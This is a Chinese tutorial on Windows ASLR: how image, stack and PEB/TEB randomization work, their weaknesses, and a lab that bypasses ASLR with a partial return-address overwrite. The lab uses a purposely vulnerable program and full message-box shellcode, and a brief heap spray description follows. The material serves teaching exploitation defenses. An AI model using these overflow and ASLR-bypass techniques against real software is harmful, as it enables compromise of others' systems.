在内存中躲猫猫:ASLR
[toc]
内存随机化保护机制的原理
前面的所有漏洞利用都有一个共同特征:都需要确定一个明确的跳转地址。而 ASLR(Address Space Layout Randomization)技术就是通过使用随机的基址加载程序,从而干扰 shellcode 定位的一种保护机制。
ASLR 的实现需要程序和操作系统的双重支持,其中程序的支持不是必需的。
支持 ASLR 的程序在它的 PE 头中会设置 IMAGE_DLL_CHARACTERISTICS_ DYNAMIC_BASE 标识来说明其支持 ASLR。在Visual Studio 2008 (VS 9.0)中,可以在通过菜单中的 Project→project Properties→ Configuration Pr operties→ Linker→ Advanced→ Randomized Base Address 选项对 /dynmicbase 链接选项(启用则支持 ASLR)进行设置。
映像随机化
映像随机化是在 PE 文件映射到内存时,对其加载的虚拟地址进行随机化处理,这个地址是在系统启动时确定的,系统重启后这个地址会变化。
微软在系统中设置了映像随机化的开关,通过设置注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages 的键值来设定映像随机化的工作模式。
- 设置为 0 时映像随机化将禁用。
- 设置为 -1 时强制对可随机化的映像进行处 理,无论是否设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。
- 设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理。
如果注册表中不存在 MoveImages,大家可以手工建立名称为 MoveImages,类型为 DWORD的值,并根据需要设置它的值,如下图所示。
堆栈随机化
堆栈随机化是在程序运行时随机的选择堆栈的基址,在程序打开时确定。也就是说同一个程序任意两次运行时的堆栈基址都是不同的,进而各变量在内存中的位置也就是不确定的。
测试一下堆栈随机化对变量在内存位置的影响,我们分别在堆和栈上各申请 100 个字节的空间,然后在 Windows XP 和 Windows Vista 下面各运行两次。
int _tmain(int argc, _TCHAR *argv[])
{
char * heap=(char *)malloc(100);
char stack[100];
printf("Address of heap:%#0.4x\nAddress of stack:%#0.4x",heap, stack);
getchar();
return 0;
}
Windows vista:两次申请空间的起始地址不同
Windows XP:两次申请空间的起始地址完全相同
PEB 与 TEB 随机化
微软在 XP SP2 之后不再使用固定的 PEB 基址 0x7FFDF000 和 TEB 基址 0x7FFDE000,而是使用具有一定随机性的基址,这就增加了攻击 PEB 中的函数指针的难度。
获取当前进程的 TEB 和 PEB ,TEB 存放在 FS:0 和 FS:[0x18]处, PEB 存放在 TEB 偏移 0x30 的位置。
int _tmain(int argc, _TCHAR *argv[])
{
unsigned int teb;
unsigned int peb;
__asm{
mov eax,FS:[0x18]
mov teb,eax
mov eax,dwordptr[eax+0x30]
mov peb,eax
}
printf("PEB:%#x\nTEB:%#x",peb,teb);
getchar();
return 0;
}
可以从下面的结果看出,PEB 和 TEB 的随机效果不是很好。
ASLR 的弱点
(1)在映像随机化中,虽然模块的加载基址变化了,但是各模块的入口点( Entry 那列)地址的低位 2 个字节是不变的,也就是说映像随机化只是对加载基址的前 2 个字节做了随机处理。地址的前 2 个字节是随机的,而后 2 个字节是固定的。
(2)在堆栈随机化中,将每个线程的堆栈基址都做了随机化处理,使得程序每次运行时变量的地址都不相同。好处是可以防止精准攻击。例如我们需要根据 shellcode 的起始地址直接跳转到 shellcode 执行,但是自从 JMP ESP 跳板指令开始使用后溢出时很少直接跳到 shellcode 中执行了;另外在浏览器攻击方面很流行的 heap spray 等技术,这些技术也是不需要精准跳转的,只需要跳转到一个大概的位置即可。所以这项措施对于目前的溢出手段影响有限。
(3)在PEB 和 TEB 的随机化中,它们的随机化程度很低。
攻击未启用 ASLR 的模块
ASLR 仅仅是项安全机制,不是什么行业标准, 不支持 ASLR 的软件有很多。不支持 ASLR 意味着加载基址固定,如果我们能够在当前进程空间中找到一个这样的模块,就可以利用它里边的指令来做跳板了,直接无视 ASLR。
本次实验需要用到 IE 和 Flash,由于这两项技术目前已经淘汰,并且 Flash无法找到实验版本(Flash Player ActiveX 9.0.262),所以我们先跳过这个实验。
利用部分覆盖进行定位内存地址
之所以能利用部分覆盖进行定位内存地址,有两个原因,一是**映像随机化只是对映像加载基址的前2个字节做随机化处理。**如果我们借鉴 “off by one” 的思想,只覆盖这个地址的最后一个字节(或者两个字节),那么我们就能在一定范围内控制程序。二是因为 ASLR 只是随机化了映像的加载基址,而没有对指令序列进行随机化,指令序列相对于基址的位置还是不变的。
实验代码:
#include"stdafx.h"
#include"stdlib.h"
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"……"
"\x90\x90\x90\x90"
"\x1C\x14"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR *argv[])
{
char temp[200];
test();
return 0;
}
实验思路:
( 1)为了更直观地反映绕过 ASLR 的过程,本次实验编译的程序不启用 GS。 ( 2)编译程序时禁用 DEP。 ( 3) test 函数中通过复制超长字符串可以溢出并覆盖函数返回地址。 ( 4)复制结束后, test 函数返回 tt 字符数组的首地址。 ( 5)在相对程序加载基址 0x0000~0xFFFF 的范围内,找到一条跳板指令,并用它地址的后 2 个字节覆盖返回地址的后两个字节。 ( 6)采用这种类似 “相对寻址” 的方法来动态确定跳板指令的地址,以实现跳板指令的通用性。
注意:test 函数返回的 tt 字符数组的首地址是没有实际意义的,因为 tt 的空间是在栈上的,程序从 test 函数返回后 tt 字符数组所在的空间就会被释放。
推荐使用的环境 | |
---|---|
操作系统 | Windows Vista SP2 |
DEP 状态 | Optin (Vista 默认状态) |
编译器 | Visual Studio 2008 |
优化选项 | 禁用优化选项 |
GS 选项 | GS 关闭 |
DEP 选项 | /NXCOMPAT:NO |
build 版本 | release 版本 |
实验步骤:
计算能覆盖到返回地址的填充长度
调试得到,test() 的返回地址位于 001FF940处,tt 的起始地址位于 0x001FF83C处,相距 260 个字节,所以我们可以使用 261~262 这两个字节来覆盖返回地址的后两位。
寻找跳板指令
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90"
;
如上图所示,函数返回地址的后两个字节已经被覆盖为 0x90 了。接下来就是寻找一条适合的跳板地址,由于是部分覆盖,所以 shellcode 只能放在返回地址前面,这样 JMP ESP 指令就不能再使用了。我们需要让函数跳转执行 shellcode,所以要向低地址跳转,观察寄存器,只有EAX 符合(EAX 指向 tt 的起始地址)。将函数返回地址覆盖为 CALL/JMP EAX 的指令地址(0x00b7141c)。
选择 ASLR_Offbyone.exe 中的指令,因为只有它里面的指令才有可能控制,我们选择 0x0008141C,重启系统后再查找一次。
布置 shellcode
Shellcode 最开始部分为弹出对话框的机器码,然后是 0x90 填充,最后为用来覆盖返回地址后 2 个字节的 0x141C。
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x1C\x14"
;
运行成功,即使是重启系统,shellcode 依然能成功执行。
利用 Heap spray 技术定位内存
Heap spray 原理:通过申请大量内存,占领内存中的 0x0C0C0C0C 的位置,并在这些内存中放置 0x90 和 shellcode,最后控制程序转入 0x0C0C0C0C 执行。